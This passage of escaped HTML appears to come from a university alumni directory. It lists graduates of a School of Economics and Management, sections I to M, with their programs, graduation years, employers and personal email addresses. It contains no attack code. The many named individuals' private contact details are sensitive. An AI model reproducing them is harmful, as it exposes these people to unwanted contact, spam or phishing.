margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Quba Private Turkish High School, teaching English</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:ilkin_267@yahoo.com\">ilkin_267@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İrada Kavak (Kazimova)</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İrada Gurbanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İnternational Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:irade000@hotmail.com\">irade000@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İlham Zeynalov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Caspian Pipe Coatings LLC</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:izeynalov@cpc.az\">izeynalov@cpc.az</a>&nbsp;\r\n,&nbsp;<a href=\"mailto:izeynalov@mail.ru\">izeynalov@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İmran Mammadov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Gilan holding-Senior accountant</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:Imranmamdov@yahoo.com\">Imranmamdov@yahoo.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Imranmamdov@yahoo.com\"></a>2012</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İrina&nbsp;Sofiyeva&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">British Embassy, Accountant</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Irina.sofiyeva@yahoo.com\">Irina.sofiyeva@yahoo.com</a>&nbsp;;&nbsp;<a href=\"mailto:Irina.sofiyeva@fco.gov.uk\">Irina.sofiyeva@fco.gov.uk</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İlona Hasanova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Paul Mitchell in Azerbaijan, Manager</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ilonagasanova@hotmail.com\">ilonagasanova@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"background:#fffffff;margin-bottom:7.5pt;line-height:normal\"><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;font-family:Arial, sans-serif;color:#252525\">İlham&nbsp;<strong>Zeynalov</strong></span></strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Economics and Management</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Caspian Pipe Coatings LLC</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:izeynalov@cpc.az\">izeynalov@cpc.az</a>&nbsp;,&nbsp;<a href=\"mailto:izeynalov@mail.ru\">izeynalov@mail.ru</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><br><h3 id=\"J\">J</h3><br><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Jamil&nbsp;Rzayev&nbsp;</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Economics and Management</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Finance</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">PriceWaterhouseCoopers, Auditor</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:cemil_rza@yahoo.com\">cemil_rza@yahoo.com</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\"><br><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Jeyhun Farzaliyev&nbsp;</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Economics and Management</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Finance</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azerenerji JSC</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\"><br><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Javid Mursalov</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Economics</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:Murselov.cavid@mail.ru\">Murselov.cavid@mail.ru</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\"><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Jeyhun Eyvazli</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Accounting and audit</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail: &nbsp;<a href=\"mailto:Ceyhun_m1@mail.ru\">Ceyhun_m1@mail.ru</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\"><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Javad Maharramli</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Accounting and audit</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail: &nbsp;<a href=\"mailto:cavadmeherremli@gmail.com\">cavadmeherremli@gmail.com</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\"><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Javid Guliyev</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Business Organization and Management</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail: &nbsp;<a href=\"mailto:quliyev.cavid@gmail.com\">quliyev.cavid@gmail.com</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><h3 id=\"K\" style=\"font-weight:bold\">K</h3><p><strong><span style=\"font-size:medium\">Kseniya Sorokina</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:kseniyasor18@gmail.com\">kseniyasor18[at]gmail.com</a></p>\r\n<p>Sinteks MMC&nbsp;</p>\r\n<p><strong>&nbsp;</strong><strong>&nbsp;</strong></p>\r\n<p><strong>Kanan Ismayilzada </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:%C4%B0smayilzade-94@mail.ru\">İsmayilzade-94[at]mail.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Kanan Mammadov </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:kananmv28@gmail.com\">kananmv28[at]gmail.com</a></p>\r\n<p><strong>&nbsp;</strong><strong>&nbsp;</strong></p>\r\n<p><strong>Kanan Hajiyev </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Kenan_haciyev_1994@bk.ru\">Kenan_haciyev_1994[at]bk.ru</a></p>\r\n<p>Baykon\r\nConstruction&nbsp;Ltd.<strong></strong></p>\r\n<p><strong><br></strong></p><p><strong>Khagani Gasimov </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Economics 2017</p>\r\n<p>E-mail: <a href=\"mailto:khagani.gasimov@gmail.com\">khagani.gasimov[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Kamilla Latifova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Marketing,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:kamilla.liatifova@gmail.com\">kamilla.liatifova[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Kanan Bilalov</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:kbilalov@bk.ru\">kbilalov[at]bk.ru</a></p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kenine Jones Emeka</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kamal Ahmadov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Great Britain</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:kamal_ahmadov@hotmail.com\">kamal_ahmadov@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kanan Musayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Financer at Rotapharm Pharmaceutical Company</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: kenan.musayev_ zyahoo.com</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kamal Guliyev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:kamal-582@mail.ru\">kamal-582@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kanan Mammadli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">UNICEF, Program Manager</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:kenan.mammadov@britishcouncil.az\">kenan.mammadov@britishcouncil.az</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kanan Mirzayev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">State Maritime Administration</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Kenan151@mail.ru\">Kenan151@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kamran Gahramanov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a militaary service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kamala Giyasova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:kama_Giyas@hotmail.com\">kama_Giyas@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p>  <br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Khalida Gahramanli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">EY company/Auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:xgahramanli@hotmail.com\">xgahramanli@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Khadija Hasanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:khadijahasanova@gmail.com\">khadijahasanova@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:khadijahasanova@gmail.com\"></a>Bachelor 2016&nbsp; (Honor)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Khandan Guvvatli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"L\" style=\"font-weight:bold\">L</h3><p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\">Leyla\r\nMustafayeva</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Leyla.mustafaeva@hotmail.com\">Leyla.mustafaeva[at]hotmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Lala Salayeva </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Economics 2017</p>\r\n<p>E-mail: <a href=\"mailto:la.salayeva@gmail.com\">la.salayeva[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Leyli Guliyeva </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:lekulya96@mail.ru\">lekulya96[at]mail.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Leyla Rafizade</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:rafileyla@hotmail.com\">rafileyla[at]hotmail.com</a></p>\r\n<p>VTB\r\nbank<strong></strong></p>\r\n<p><strong><br></strong></p><p><strong>Lala Novruzova </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Economics, 2017</p>\r\n<p>E-mail: <a href=\"mailto:lalenovruzova123@gmail.com\">lalenovruzova123[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Leyla Jafarova </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Leylajafarova8@gmail.com\">Leylajafarova8[at]gmail.com</a><strong></strong></p>\r\n<p><strong><br></strong></p><p><strong>Leyli Allahverdiyeva</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finanacial Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:leyliallahverdi@gmail.com\">leyliallahverdi[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Lala Osmanli </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:lalelautner@icloud.com\">lalelautner[at]icloud.com</a></p>\r\n<p>Azenco JSC-procurement specialist</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Lala Ashumzade&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance &nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Leyla Akhundzade&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:leyla.axundzade@hotmail.com\">leyla.axundzade@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Leyla Gozalova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maintenance Planner Reliability &amp; MaintenanceTeam, BP Azerbaijan\r\nSPU</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:gozzla@bp.com\">gozzla@bp.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:gozzla@bp.com\"></a>MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Leyla Alakbarova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Leyla.Elekberova92@mail.ru\">Leyla.Elekberova92@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Leyla Nasirova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Leyla Taghiyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance &nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Paris, France</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:leyla_tagieva@yahoo.com\">leyla_tagieva@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Leyli Zamaldinova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:leyloosha@hotmail.com\">leyloosha@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"M\" style=\"font-weight:bold\"><strong>M</strong></h3><p><strong>Maftun Huseynli </strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:huseynlimeftun@gmail.com\">huseynlimeftun[at]gmail.com</a></p>\r\n<p><strong>&nbsp;</strong><strong>&nbsp;</strong></p>\r\n<p><strong>Mirmustafa Seyidzade</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Economics, 2017</p>\r\n<p>E-mail: <a 